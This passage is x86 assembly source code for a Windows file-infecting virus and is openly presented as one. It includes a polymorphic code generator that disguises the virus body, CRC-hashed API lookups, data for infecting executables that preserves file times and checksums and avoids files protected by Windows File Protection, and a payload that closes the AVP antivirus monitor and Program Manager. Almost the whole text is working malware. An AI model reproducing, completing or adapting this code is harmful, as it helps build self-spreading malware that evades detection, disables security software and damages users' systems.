jz recursiveOver
cmp ecx,eax ; check we have things
jae hasSpaceToEncode ; to encode
recursiveOver:
stc
ret
hasSpaceToEncode:
push edi ; save prt addr
mov eax,0ffffffffh ; get a random dword value
push eax
call rndInRange
push eax
call GetReg ; get random reg
pop edx
mov cl,al
push eax
call AddCmpREGIMM
pop eax
call FreeReg ; free the register
mov eax,7 ; get a random jmp
push eax
call rndInRange
add al,72h ; store the cnd jmp
stosb
mov al,5
stosb
mov al,0e9h ; setup jmp far
stosb
push edi ; save ptr addr
stosd ; save space
push esi ; save source
xor ecx,ecx
mov cl,byte ptr [RecursiveCoef+ebp] ; get # dword to encode
push ecx ; save loops
xor ebx,ebx
encodeCmpLoop0:
push ecx ebx ; save loop and size
mov eax,2 ; recursive?
push eax
call rndInRange
or al,al
jz nonRec0
mov al,byte ptr [RecursiveCoef+ebp]
or al,al
jz nonRec0
push dword ptr [RecursiveCoef+ebp]
call addRndCmpRegImm
pop dword ptr [RecursiveCoef+ebp]
jnc nonRec1
nonRec0:
call addAddSubRegImm
pop ebx ecx ; restore regs
jmp nonRec2
nonRec1:
pop ebx ecx ; restore regs
sub ecx,edx
nonRec2:
add ebx,eax ; add encoded size
loop encodeCmpLoop0
pop ecx ; get loops
pop esi ; restore source
pop edx ; get prt addr
add ebx,5
mov dword ptr [edx],ebx ; fix op1 jmp
mov eax,5 ; add DS: prefix?
push eax
call rndInRange
cmp al,3 ; 30%
jb skipDSPrefix
inc byte ptr [edx] ; a byte before jmp!
mov al,3eh ; DS: (thanx griyo!)
stosb ; nice anti-h stuff
skipDSPrefix:
mov al,0e9h ; build jmp
stosb
push edi ; save ptr addr
stosd ; save space
; we have ecx and esi ready
push ecx ; save loops again
xor ebx,ebx
encodeCmpLoop1:
push ecx ebx ; save loop and size
mov eax,2 ; recursive?
push eax
call rndInRange
or al,al
jz nonRec3
mov al,byte ptr [RecursiveCoef+ebp]
or al,al
jz nonRec3
push dword ptr [RecursiveCoef+ebp]
call addRndCmpRegImm
pop dword ptr [RecursiveCoef+ebp]
jnc nonRec4
nonRec3:
call addAddSubRegImm
pop ebx ecx ; restore regs
jmp nonRec5
nonRec4:
pop ebx ecx ; restore regs
sub ecx,edx
nonRec5:
add ebx,eax ; add encoded size
loop encodeCmpLoop1
pop ecx ; get loops
pop edx ; get ptr addr
mov dword ptr [edx],ebx ; fix op2 jmp
pop edx ; get old prt
mov eax,edi
sub eax,edx ; calc added size
mov edx,ecx ; move loops here
dec edx
clc
ret
;
; mov reg,a
; push reg
;
encRndPushReg:
push ecx ebx ; save loop and size
push edi ; save prt addr
std
lodsd ; get dword
cld
push eax ; save value
call GetReg ; get random reg
; get value
pop edx ; mov reg32,imm32
mov cl,al
push ecx
call AddMovREGIMM
pop ecx ; push reg32
push ecx
call AddPushREG
pop eax
call FreeReg ; free the register
pop edx ; get old prt
mov eax,edi
sub eax,edx ; calc added size
pop ebx ecx ; restore regs
add ebx,eax ; add encoded size
jmp doLoop
;
; add opcode:
; mov reg,a-b || mov reg,a+b
; add reg,b || add reg,-b
; push reg || push reg
; sub opcode:
; mov reg,a-b || mov reg,a+b
; add reg,b || add reg,-b
; push reg || push reg
;
; ret eax enc size
;
addAddSubRegImm:
call GetReg ; get rnd reg
mov byte ptr [WorkReg+ebp],al
mov eax,2 ; add or sub?
push eax
call rndInRange
mov bl,al
mov eax,2 ; again, add or sub?
push eax
call rndInRange
mov bh,al
mov eax,0ffffffffh ; get a random dword value
push eax
call rndInRange
push edi ; save current dest
push eax ; save rnd value
std
lodsd ; get dword
cld
mov edx,eax
pop eax ; get rnd value
or bl,bl
jz doAdd0
add edx,eax ; add dword rnd value
add edx,eax
doAdd0:
sub edx,eax ; sub dword rnd value
push eax ; store rnd value
mov cl,byte ptr [WorkReg+ebp]
call AddMovREGIMM
pop edx ; get rnd value
or bh,bh ; add or sub opcode
jz doSub0
or bl,bl ; add: add or sub?
jz doAdd1
not edx
inc edx
doAdd1:
mov cl,byte ptr [WorkReg+ebp]
call AddAddREGIMM
jmp doSub2
doSub0:
or bl,bl ; sub: add or sub?
jnz doSub1
not edx
inc edx
doSub1:
mov cl,byte ptr [WorkReg+ebp]
call AddSubREGIMM
doSub2:
mov cl,byte ptr [WorkReg+ebp]
call AddPushREG
mov al,byte ptr [WorkReg+ebp]
call FreeReg
pop edx ; get old dest
mov eax,edi
sub eax,edx ; calc bytes stored
ret
_EAX equ 0
_ECX equ 1
_EDX equ 2
_EBX equ 3
_ESP equ 4
_EBP equ 5
_ESI equ 6
_EDI equ 7
;
; returns AL: selected register
;
GetReg:
mov eax,8
push eax
call rndInRange
lea ecx,RegStatus+ebp
add ecx,eax
mov dl,byte ptr [ecx]
or dl,dl
jnz GetReg
mov byte ptr [ecx],1
ret
;
; AL: selected register to free
;
FreeReg:
and eax,7
lea ecx,RegStatus+ebp
add ecx,eax
mov byte ptr [ecx],0
ret
;
; Instruction generators
;
; EDI: Destination code
; ECX: Reg (if aplicable)
; EDX: Inm (if aplicable)
;
AddCmpREGIMM:
or cl,cl
jnz AddCmpREGIMM0
mov al,3dh
stosb
jmp AddCmpREGIMM1
AddCmpREGIMM0:
mov al,081h
stosb
mov al,0f8h
add al,cl
stosb
AddCmpREGIMM1:
mov eax,edx
stosd
ret
AddMovREGIMM:
mov al,0b8h
add al,cl
stosb
mov eax,edx
stosd
ret
AddAddREGIMM:
or cl,cl
jnz AddAddREGIMM0
mov al,05h
stosb
jmp AddAddREGIMM1
AddAddREGIMM0:
mov al,081h
stosb
mov al,0c0h
add al,cl
stosb
AddAddREGIMM1:
mov eax,edx
stosd
ret
AddSubREGIMM:
or cl,cl
jnz AddSubREGIMM0
mov al,2dh
stosb
jmp AddSubREGIMM1
AddSubREGIMM0:
mov al,081h
stosb
mov al,0e8h
add al,cl
stosb
AddSubREGIMM1:
mov eax,edx
stosd
ret
AddPushREG:
mov al,050h
add al,cl
stosb
ret
AddPopREG:
mov al,058h
add al,cl
stosb
ret
; api search data ----------------------------------------------------------
address dd 0
names dd 0
ordinals dd 0
nexports dd 0
expcount dd 0
FSTAPI label byte
CrcCloseHandle dd 068624a9dh
db 12
_CloseHandle dd 0
CrcCreateFileA dd 08c892ddfh
db 12
_CreateFileA dd 0
CrcCreatFileMappingA dd 096b2d96ch
db 19
_CreateFileMappingA dd 0
CrcFreeLibrary dd 0afdf191fh
db 12
_FreeLibrary dd 0
CrcGetProcAddress dd 0ffc97c1fh
db 15
_GetProcAddress dd 0
CrcGetFileTime dd 04434e8feh
db 12
_GetFileTime dd 0
CrcGetFileAttributesA dd 0c633d3deh
db 19
_GetFileAttributesA dd 0
CrcGetFileSize dd 0ef7d811bh
db 12
_GetFileSize dd 0
CrcFindFirstFileA dd 0ae17ebefh
db 15
_FindFirstFileA dd 0
CrcFindNextFileA dd 0aa700106h
db 14
_FindNextFileA dd 0
CrcFindClose dd 0c200be21h
db 10
_FindClose dd 0
CrcGetCurrentDirectoryA dd 0ebc6c18bh
db 21
_GetCurrentDirectoryA dd 0
CrcGetSystemDirectoryA dd 0593ae7ceh
db 20
_GetSystemDirectoryA dd 0
CrcGetSystemTime dd 075b7ebe8h
db 14
_GetSystemTime dd 0
CrcGetWindowsDirectoryA dd 0fe248274h
db 21
_GetWindowsDirectoryA dd 0
CrcGetLastError dd 087d52c94h
db 13
_GetLastError dd 0
CrcGetTickCount dd 0613fd7bah
db 13
_GetTickCount dd 0
CrcLoadLibraryA dd 04134d1adh
db 13
_LoadLibraryA dd 0
CrcMapViewOfFile dd 0797b49ech
db 14
_MapViewOfFile dd 0
CrcSetCurrentDirectoryA dd 0b2dbd7dch
db 21
_SetCurrentDirectoryA dd 0
CrcSetFileTime dd 04b2a3e7dh
db 12
_SetFileTime dd 0
CrcSetFileAttributesA dd 03c19e536h
db 19
_SetFileAttributesA dd 0
CrcUnmapViewOfFile dd 094524b42h
db 16
_UnmapViewOfFile dd 0
CrcVirtualAlloc dd 04402890eh
db 13
_VirtualAlloc dd 0
ENDAPI label byte
; non kernel32 apis --------------------------------------------------------
imagehlpdllStr db 'IMAGEHLP.DLL',0
imagehlpdllHnd dd 0
CheckSumMappedFileStr db 'CheckSumMappedFile',0
_CheckSumMappedFile dd 0
sfcdllStr db 'SFC.DLL',0
sfcdllHnd dd 0
SfcIsFileProtectedStr db 'SfcIsFileProtected',0
_SfcIsFileProtected dd 0
user32dllStr db 'USER32.DLL',0
user32dllHnd dd 0
FindWindowAStr db 'FindWindowA',0
_FindWindowA dd 0
PostMessageAStr db 'PostMessageA',0
_PostMessageA dd 0
; misc data ----------------------------------------------------------------
; i use the same code of the payload to close avp monitor
avStr db 'AVP Monitor',0
; hu hu, just end 1 app hehehe
payloadStr db 'Program Manager',0
; infection data -----------------------------------------------------------
path0 dd 0
path1 dd 0
fileMappingObj db '1234567890',0
virusSample dd 0
fileTime0 dd 0,0
fileTime1 dd 0,0
fileTime2 dd 0,0
fileAttrib dd 0
fileSize dd 0
ofileSize dd 0
ochksum dd 0
nchksum dd 0
padding dd 0
genSize dd 0
fHnd dd 0
fhmap dd 0
mapMem dd 0
find_data WIN32_FIND_DATA <0>
findHnd dd 0
fndMask db '*.*',0
tmpExt dd 0
infCount db 0
; very important this aligment for virus encoding
align 4h
vEnd label byte
;
; Fake host needed for 1st gen
;
fakeHost:
push 1000h
call title
db 'virus activated',0
title: call mess
db 'Kelvin, welcome to Solaris.',0
mess:
push 0h
call MessageBoxA
push 0h
call ExitProcess
;
; This is another way to setup the 1st generation virus sample.
;
setupVirus:
lea esi,restoreCode ; restore original code
lea edi,vBegin
mov ecx,restoreSize
rep movsb
mov dword ptr [encKey],0 ; 1st loop key=0
pushad ; setup stack
sub esp,vSize
; we must push 2 times the same offset, no mather wich one
push offset reloc1stGen ; setup reloc stuff
push offset reloc1stGen ; setup reloc stuff
; emul jmp esp
add esp,8
jmp inicio
reloc1stGen:
; original code replazed by the jmp to setupVirus to be
; restored at its original plaze
restoreCode:
sub esp,8
mov esi,dword ptr [esp+vSize+28h]
restoreSize equ $-restoreCode
Ends
End inicio
;
; ah... who's Kelvin? fuck!
; just read the book :]
;